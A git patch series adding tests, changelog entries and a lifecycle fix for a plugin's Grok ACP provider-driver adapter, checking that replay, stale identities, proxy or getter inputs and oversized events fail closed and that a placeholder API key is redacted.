badCursor.driver.reconcile(requestFor('reconcile')), 'invalid_format'); + + const badTiming = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + elapsed_ms: MAX_GROK_ACP_TIMING_MS + 1, + ...identityFields(), + }, + }); + badTiming.driver.launch(requestFor('launch')); + expectCode(() => badTiming.driver.reconcile(requestFor('reconcile')), 'invalid_format'); +}); + +test('proxy and accessor transport receipts fail closed without running getters', () => { + const proxyTransport = createScriptedGrokAcpTransportV1({ + preflight: () => new Proxy({ ok: true, ...identityFields() }, {}), + }); + expectCode( + () => bindGrokAcpDriverV1(proxyTransport).preflight(requestFor('preflight')), + 'proxy_denied', + ); + + let getterRuns = 0; + const accessorTransport = createScriptedGrokAcpTransportV1({ + preflight: () => { + const receipt = { ok: true, ...identityFields() }; + delete receipt.ok; + Object.defineProperty(receipt, 'ok', { + enumerable: true, + get() { + getterRuns += 1; + return true; + }, + }); + return receipt; + }, + }); + expectCode( + () => bindGrokAcpDriverV1(accessorTransport).preflight(requestFor('preflight')), + 'accessor_property_denied', + ); + assert.equal(getterRuns, 0); +}); + +test('needs_attention without a reply identity fails closed', () => { + const { driver } = launchBound({ + observe: { status: 'needs_attention', session_id: GROK_FIXTURE_SESSION_ID, ...identityFields() }, + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'capability_reply_mismatch'); +}); + +test('inspect rejects hostile queries and stale child identities', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: '0'.repeat(64), + }), 'stale_identity_denied'); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + fallback: true, + }), 'replay_or_fallback_denied'); + const getterQuery = { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }; + let reads = 0; + Object.defineProperty(getterQuery, 'cursor', { + enumerable: true, + get() { + reads += 1; + return '1'; + }, + }); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, getterQuery), 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('oversized event text is clipped and omitted keys never appear on evidence', () => { + const { driver } = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + events: [{ + type: 'tool', + text: 'y'.repeat(MAX_GROK_ACP_EVENT_TEXT_BYTES + 64), + prompt: fixture.envelope_text, + envelope_text: fixture.envelope_text, + api_key: 'sk-abcdefghijklmnop', + content: { raw: fixture.envelope_text }, + }], + }, + }); + driver.launch(requestFor('launch')); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.events.length, 1); + assert.equal(evidence.events[0].envelope_text, undefined); + assert.equal(evidence.events[0].content, undefined); + assert.equal(evidence.events[0].api_key, '[redacted]'); + assert.ok(String(evidence.events[0].text).length <= MAX_GROK_ACP_EVENT_TEXT_BYTES + 1); + assert.equal(JSON.stringify(evidence).includes(fixture.envelope_text), false); +}); + +test('stale workspace and model drift on reattach fail closed', () => { + const { driver } = launchBound({ + reattach: { + reattached: true, + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + model: 'grok-code-fast-1', + repository_path: '/tmp/other-worktree', + }, + }); + driver.launch(requestFor('launch')); + expectCode( + () => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('cyclic and aliased receipts fail closed', () => { + const cyclic = identityFields(); + cyclic.status = 'running'; + cyclic.session_id = GROK_FIXTURE_SESSION_ID; + cyclic.progress = {}; + cyclic.progress.self = cyclic.progress; + const { driver } = launchBound({ observe: cyclic }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'aliased_reference_denied'); +}); + +test('createGrokAcpDriverV1 captures operations so later mutation cannot swap dispatch', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = createGrokAcpDriverV1(transport); + transport.dispatch = () => { + throw new Error('mutated dispatch must never run'); + }; + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); +}); + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs new file mode 100644 index 0000000..f7220d6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs @@ -0,0 +1,407 @@ +// Runtime tests for the P18 Grok ACP ProviderDriverV1 adapter: injected +// transport sequences for pre-spawn failure vs post-spawn uncertainty, +// acknowledgement, duplicate launch, attention/reply identity, cancellation +// races, restart reattach, and event/cursor bounds. This is not live Grok +// ACP qualification. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_RESULT_KEYS, + PROVIDER_DRIVER_VERSION, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + GROK_ACP_AGENT, + GROK_PROVIDER_SLOT, + MAX_GROK_ACP_EVENT_PAGE, + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, + grokAcpDriverDeclarationV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + GROK_FIXTURE_MODEL, + GROK_FIXTURE_SESSION_ID, + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { driverDeclaration } from './provider-driver-contract-suite.mjs'; + +const fixture = buildGrokDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function launchReady(transport = createScriptedGrokAcpTransportV1()) { + const driver = bindGrokAcpDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + return { driver, transport }; +} + +test('the Grok adapter hard-binds grok, the P05/P17 capability record, and managed worktree semantics', () => { + const declaration = grokAcpDriverDeclarationV1(); + assert.equal(declaration.capability.provider, GROK_PROVIDER_SLOT); + assert.equal(declaration.capability.dispatch_certainty, 'confirmed_launch'); + assert.equal(declaration.capability.same_session_reply, 'live_session_reply'); + assert.equal(declaration.capability.workspace_semantics, 'local_managed_worktree'); + assert.equal(declaration.capability.workspace_starting_point, 'run_base_sha'); + assert.equal(declaration.capability.merge_authority, 'none_codex_only_integration'); + assert.equal(declaration.capability.create_pr_posture, 'prohibited'); + assert.equal(declaration.capability.replay_posture, 'never_replay'); + assert.equal(declaration.capability.exact_model_selection, 'exact_and_attested'); + assert.deepEqual([...declaration.capability.artifact_kinds], ['event_segment', 'git_diff', 'provider_report']); + assert.equal(declaration.features.cancellation, 'supported'); + assert.equal(declaration.features.detailed_events, 'supported'); + assert.equal(declaration.features.live_progress, 'supported'); + assert.equal(declaration.features.restart, 'reconcile_reattach_only'); + assert.match(declaration.capability.source_digest, /^sha256:[0-9a-f]{64}$/u); + + const surface = describeGrokAcpAdapterSurfaceV1(); + assert.equal(surface.provider, 'grok'); + assert.equal(surface.agent, GROK_ACP_AGENT); + assert.equal(surface.live_qualification, false); + assert.equal(surface.durable_store, false); + assert.equal(surface.supervisor_cutover, false); + assert.equal(surface.confirmation_rule, 'launch_dispatched_only_after_authoritative_acp_ack'); + assert.ok(surface.later_real_grok_acp_route.dispatch.includes('ChildEnvelopeV1')); + assert.ok(surface.later_real_grok_acp_route.forbidden.includes('post_spawn_retry')); + assert.ok(Object.isFrozen(surface)); + assert.ok(Object.isFrozen(surface.later_real_grok_acp_route)); +}); + +test('preflight ready then authoritative acknowledgement yields dispatched', () => { + const { driver, transport } = launchReady(); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatched'); + assert.equal(receipt.run_id, fixture.run_id); + assert.equal(receipt.assignment_id, fixture.assignment_id); + assert.equal(receipt.lane_index, fixture.lane_index); + assert.equal(receipt.base_sha, fixture.base_sha); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(receipt.detail_code, undefined); + for (const key of Object.keys(receipt)) { + assert.ok(DRIVER_RESULT_KEYS.includes(key), `unexpected result key ${key}`); + } + const spawn = grokAcpCallsOf(transport, 'spawn')[0].request; + const dispatch = grokAcpCallsOf(transport, 'dispatch')[0].request; + assert.equal(spawn.provider, 'grok'); + assert.equal(spawn.model, GROK_FIXTURE_MODEL); + assert.equal(spawn.envelope_text, undefined); + assert.equal(dispatch.envelope_text, fixture.envelope_text); + assert.equal(dispatch.model, GROK_FIXTURE_MODEL); + assert.equal(dispatch.session_id, GROK_FIXTURE_SESSION_ID); +}); + +test('pre-spawn failure is not_sent and never calls dispatch', () => { + const transport = createScriptedGrokAcpTransportV1({ + spawn: { throw: { code: 'spawn_failed', message: 'binary missing' } }, + }); + const { driver } = launchReady(transport); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'not_sent'); + assert.equal(receipt.detail_code, 'spawn_failed'); + assert.equal(typeof receipt.detail_message, 'string'); + assert.doesNotMatch(receipt.detail_message, /Implement the Grok ACP lane/u); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 0); + const retry = driver.launch(requestFor('launch')); + assert.equal(retry.disposition, 'not_sent'); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 2); +}); + +test('post-spawn timeout, exception, and loss are dispatch_uncertain and never retried', () => { + for (const script of [ + { dispatch: { throw: { code: 'transport_timeout', message: 'ack timed out' } } }, + { dispatch: { throw: { code: 'transport_exception', message: 'stdio reset' } } }, + { dispatch: { throw: { code: 'transport_lost', spawned: true, message: 'child vanished' } } }, + { spawn: { throw: { code: 'transport_lost', spawned: true, message: 'lost after pid' } } }, + { dispatch: { acknowledged: false, session_id: GROK_FIXTURE_SESSION_ID, request_id: 'x', + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest } }, + ]) { + const transport = createScriptedGrokAcpTransportV1(script); + const { driver } = launchReady(transport); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', JSON.stringify(script)); + assert.equal(receipt.detail_code, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length <= 1, true); + } +}); + +test('duplicate launch after acknowledgement is replay_denied and does not resend', () => { + const { driver, transport } = launchReady(); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('same-session attention identity reconciles to unresolved_attention', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'needs_attention', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + attention: { session_id: GROK_FIXTURE_SESSION_ID, question_id: 'q-permission-1' }, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + const receipt = driver.reconcile(requestFor('reconcile')); + assert.equal(receipt.disposition, 'unresolved_attention'); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.attention.session_id, GROK_FIXTURE_SESSION_ID); + assert.equal(evidence.attention.question_id, 'q-permission-1'); + assert.equal(Object.hasOwn(receipt, 'attention'), false); +}); + +test('cross-session attention identity fails closed', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'needs_attention', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + attention: { session_id: 'sess-other', question_id: 'q-1' }, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); +}); + +test('cancellation races: confirmed vs already-terminal vs requested', () => { + const confirmed = launchReady(createScriptedGrokAcpTransportV1({ + cancel: { outcome: 'cancel_confirmed', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + confirmed.driver.launch(requestFor('launch')); + assert.equal(confirmed.driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + + const requested = launchReady(createScriptedGrokAcpTransportV1({ + cancel: { outcome: 'cancel_requested', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + requested.driver.launch(requestFor('launch')); + assert.equal(requested.driver.cancel(requestFor('cancel')).disposition, 'cancel_requested'); + + const raced = launchReady(createScriptedGrokAcpTransportV1({ + observe: { + status: 'completed', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + cancel: { outcome: 'already_terminal', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + raced.driver.launch(requestFor('launch')); + assert.equal(raced.driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(raced.driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(raced.transport, 'cancel').length, 0); +}); + +test('restart reattach resumes the exact session and never relaunches', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + const receipt = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(receipt.disposition, 'in_progress'); + assert.equal(grokAcpCallsOf(transport, 'reattach').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + const reattach = grokAcpCallsOf(transport, 'reattach')[0].request; + assert.equal(reattach.session_id, GROK_FIXTURE_SESSION_ID); + assert.equal(reattach.envelope_text, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('event pages and cursors are capped; envelope bytes stay off the result and telemetry', () => { + const events = Array.from({ length: MAX_GROK_ACP_EVENT_PAGE + 8 }, (_, index) => ({ + type: 'text_delta', + text: `chunk-${index}-${'x'.repeat(80)}`, + })); + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + events, + cursor: '42', + event_count: events.length, + elapsed_ms: 1500, + }, + }); + const { driver } = launchReady(transport); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatched'); + const receipt = driver.reconcile(requestFor('reconcile', { + include: ['detailed_events', 'live_progress'], + })); + assert.equal(receipt.disposition, 'in_progress'); + assert.equal(receipt.detail_message, undefined); + assert.equal(JSON.stringify(receipt).includes(fixture.envelope_text), false); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.ok(evidence.events.length <= MAX_GROK_ACP_EVENT_PAGE); + assert.equal(evidence.evidence_truncated, true); + assert.equal(evidence.cursor, '42'); + assert.equal(evidence.progress.elapsed_ms, 1500); + const observe = grokAcpCallsOf(transport, 'observe')[0].request; + assert.equal(observe.envelope_text, undefined); + assert.equal(observe.prompt, undefined); +}); + +test('preflight and cancel transport requests never carry envelope text', () => { + const { driver, transport } = launchReady(); + driver.launch(requestFor('launch')); + driver.cancel(requestFor('cancel')); + for (const operation of ['preflight', 'spawn', 'observe', 'cancel']) { + for (const call of grokAcpCallsOf(transport, operation)) { + assert.equal(call.request.envelope_text, undefined, `${operation} leaked envelope_text`); + } + } +}); + +test('cross-provider and cross-model envelopes fail closed with no substitution', () => { + const dshEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'dsh', model: 'stealth/ox-alpha' }, + }], + }, fixture.assignment_id); + const { driver } = launchReady(); + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: dshEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(dshEnvelope).digest, + }), 'provider_slot_mismatch'); + + const otherModel = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'grok', model: 'grok-code-fast-1' }, + }], + }, fixture.assignment_id); + const otherDriver = bindGrokAcpDriverV1(createScriptedGrokAcpTransportV1()); + const otherRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: otherModel.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(otherModel).digest, + }; + assert.equal(otherDriver.preflight(otherRequest).disposition, 'ready'); + assert.equal( + grokAcpCallsOf(createScriptedGrokAcpTransportV1(), 'dispatch').length, + 0, + ); +}); + +test('digest-only, direct-mode, merge, and fallback keys fail closed', () => { + expectCode(() => createGrokAcpDriverV1(createScriptedGrokAcpTransportV1()).launch({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + const { driver } = launchReady(); + for (const [key, value, code] of [ + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 1, 'replay_or_fallback_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['workspace_mode', 'direct', 'direct_mode_rejected'], + ['direct_mode', true, 'direct_mode_rejected'], + ]) { + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + [key]: value, + }), code); + } +}); + +test('unbound adapter still refuses post-spawn replay', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = createGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('lost observe after uncertain launch stays dispatch_uncertain', () => { + const transport = createScriptedGrokAcpTransportV1({ + dispatch: { throw: { code: 'transport_timeout' } }, + observe: { + status: 'lost', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'dispatch_uncertain'); +}); + +test('the grok declaration is not a dsh or cloud stub', () => { + const grok = grokAcpDriverDeclarationV1(); + const dsh = driverDeclaration('dsh'); + assert.notEqual(grok.capability.dispatch_certainty, dsh.capability.dispatch_certainty); + assert.notEqual(grok.capability.same_session_reply, dsh.capability.same_session_reply); + assert.equal(grok.capability.create_pr_posture, 'prohibited'); +}); From 6ac19db811f29d5b419a01d2938fdd0b0de56edd Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:14:12 +0000 Subject: [PATCH 026/151] docs(changelog): record the P18 Grok ACP driver slice State that the adapter is not live-transport qualification and does not cut the supervisor over or claim durable P19/P21 state. --- CHANGELOG.md | 21 +++++++++++++++++++++ docs/future-work.md | 25 ++++++++++++++++++------- 2 files changed, 39 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2bfdbe9..148d72d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,27 @@ ### Added +- **Grok ACP ProviderDriverV1 adapter (P18).** Additive `grok-acp-driver` + binds provider slot `grok` onto the accepted P17 preflight/launch/ + reconcile/cancel contract and the P05 13-field capability record + (`confirmed_launch`, `live_session_reply`, local managed worktree at + `run_base_sha`, `never_replay`, no merge/PR authority). An injected + bounded ACP transport keeps tests deterministic: launch is `dispatched` + only after an authoritative acknowledgement; any exception, timeout, + loss, or unusable receipt after spawn/dispatch intent is returned as + `dispatch_uncertain` and is never retried, replayed, or + fallback-substituted. Duplicate launch, digest-only launch, direct + mode, merge/PR, and cross-provider/model drift fail closed. Bounded + live progress, detailed events, same-session reply identity, + cancellation confirmation, and restart reattach are supported exactly + where Grok ACP supports them, with stale session/run/child/model/ + workspace identities failing closed. Event pages, text, counts, + cursors, timings, and diagnostics are capped; envelope/prompt bytes + stay evidence and do not enter driver results or transport + preflight/observe/cancel/reattach requests. Process-local P17 lane + risk may remain; the module does not claim durable P19/P21 state, + supervisor cutover, or live Grok ACP qualification. Coverage lives in + `r1-grok-acp-driver` and `r1-grok-acp-driver-adversarial` tests. - **Closed P17 provider-driver envelope and capability contract.** Additive `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and diff --git a/docs/future-work.md b/docs/future-work.md index 1f20fe7..f9de3c4 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -18,13 +18,24 @@ fallback or replay, and Codex-only final acceptance. The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a pure contract and provider-agnostic conformance harness. It validates preflight/launch/reconcile/cancel requests and results against the -accepted P05 13-field capability bridge. It does not implement Grok, -Cursor Local, DSH, or Cursor Cloud transports, registry cutover, -scheduler, or durable store; those remain P18/P20/P19/P21 and later -run-runtime work. This worktree does not implement the run runtime, -candidate composition, or `AttentionBatchV1`. Gate A remains the -functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +accepted P05 13-field capability bridge. + +The P18 Grok ACP adapter is in-tree as a Grok-specific binding of that +contract onto an injected bounded ACP transport. It hard-binds provider +`grok`, the exact selected model, exact ChildEnvelopeV1 text+digest, local +managed-worktree/run-base semantics, and no merge/PR authority. Launch +confirms only after an authoritative ACP acknowledgement; post-spawn +loss is `dispatch_uncertain` and is never replayed. This is not live Grok +ACP qualification and does not cut the supervisor over. A later real Grok +ACP lifecycle conformance route must implement the six transport +operations recorded by `describeGrokAcpAdapterSurfaceV1()` (`preflight`, +`spawn`, `dispatch`, `observe`, `cancel`, `reattach`) against `grok-build` +persistent sessions, with the same identity and bound rules. Cursor +Local, DSH, and Cursor Cloud transports, registry cutover, scheduler, and +durable store remain P20/P19/P21 and later run-runtime work. This +worktree does not implement the run runtime, candidate composition, or +`AttentionBatchV1`. Gate A remains the functional release authority; Gate +B context-efficiency and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits From f2dda072183b26e6904e6df240f9b6d41db3f6cc Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:51:55 +0000 Subject: [PATCH 027/151] fix(grok): close replay and terminal lifecycle boundaries Combine the accepted possible-send replay repair with the accepted terminal latch, idempotent terminal cancellation, and closed blocked-preflight diagnostics. Preserve legitimate not-sent retry while denying replay after any possible send. --- .../mcp/v3/grok-acp-driver.mjs | 72 ++++++-- .../r1-grok-acp-driver-adversarial.test.mjs | 75 ++++++++ .../test/r1-grok-acp-driver.test.mjs | 167 ++++++++++++++++++ 3 files changed, 302 insertions(+), 12 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs index 3c1ea2d..2f167d5 100644 --- a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs @@ -17,6 +17,11 @@ // - live progress, detailed events, same-session reply identity, // cancellation confirmation, and restart reattach are supported exactly // where Grok ACP supports them, with stale identities failing closed; +// - completed, failed, cancelled, cancel_confirmed, and already_terminal +// latch process-local terminal evidence; later reconcile stays terminal +// and later cancel is already_terminal with no further transport cancel. +// cancel_requested stays nonterminal. Blocked-preflight receipts are +// validated, then provider detail is replaced with a fixed local pair; // - event pages, text, counts, cursors, timings, and diagnostics are capped; // envelope/prompt content is dispatch evidence and must not enter // telemetry or driver detail messages. @@ -172,6 +177,18 @@ const POST_SPAWN_ERROR_CODES = capturedFreeze([ 'dispatch_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', ]); const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); +const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); +const TERMINAL_LATCH_STATES = capturedFreeze([ + 'terminal', 'cancel_confirmed', 'already_terminal', +]); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'spawned', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const BLOCKED_PREFLIGHT_DETAIL = capturedFreeze({ + detail_code: 'preflight_blocked', + detail_message: 'Grok ACP preflight is blocked; the lane fails closed with no fallback.', +}); const DRIVER_STORES = new WEAK_MAP_CTOR(); const GROK_ACP_NOTES = 'Grok ACP persistent session (grok-build). Launch confirms only after an authoritative ACP acknowledgement. Same-session reply is supported while the local worker is alive. Process-local lane state only; no durable P19/P21 store, supervisor cutover, or live-transport qualification.'; @@ -681,15 +698,31 @@ export function assertGrokAcpTransportV1(transport) { }); } +function laneMayHaveSent(record) { + return record !== undefined && ( + record.spawned === true + || record.dispatch_intent === true + || capturedIncludes(POSSIBLE_SEND_STATES, record.state) + ); +} + +function hasTerminalLatch(record) { + if (record === undefined) return false; + if (record.terminal_latch === true) return true; + if (capturedIncludes(TERMINAL_LATCH_STATES, record.state)) return true; + if (record.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, record.last_status)) { + return true; + } + return record.cancel_outcome !== undefined + && capturedIncludes(TERMINAL_CANCEL_OUTCOMES, record.cancel_outcome); +} + function runPreflight(store, request) { const view = validateDriverPreflightRequestV1(request); const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); const prior = getLane(store, identity); - if (prior !== undefined && capturedIncludes( - ['spawned', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', - 'terminal', 'cancel_requested', 'cancel_confirmed'], - prior.state, - )) { + if (laneMayHaveSent(prior)) { fail('invalid_transition', 'driver.preflight.request', 'Preflight cannot run after a Grok prompt may have been dispatched; reconcile or cancel instead.'); } @@ -723,9 +756,9 @@ function runPreflight(store, request) { fail('malformed_receipt', 'transport.preflight.result.ok', 'transport.preflight.result.ok must be an exact boolean.'); } - const detail = assertDetailPair(receipt, 'transport.preflight.result'); + assertDetailPair(receipt, 'transport.preflight.result'); putLane(store, identity, { state: 'blocked', model: identity.model }); - return driverResult('preflight', identity, 'blocked', detail); + return driverResult('preflight', identity, 'blocked', BLOCKED_PREFLIGHT_DETAIL); } function markUncertain(store, identity, extras = {}) { @@ -897,8 +930,9 @@ function runReconcile(store, request) { } assertLaneIdentity(prior, identity, 'driver.reconcile.request'); const include = view.include ?? capturedFreeze([]); + const latched = hasTerminalLatch(prior); - if (view.intent === 'restart_reattach') { + if (view.intent === 'restart_reattach' && !latched) { const reattachRequest = transportIdentityRequest(identity, { 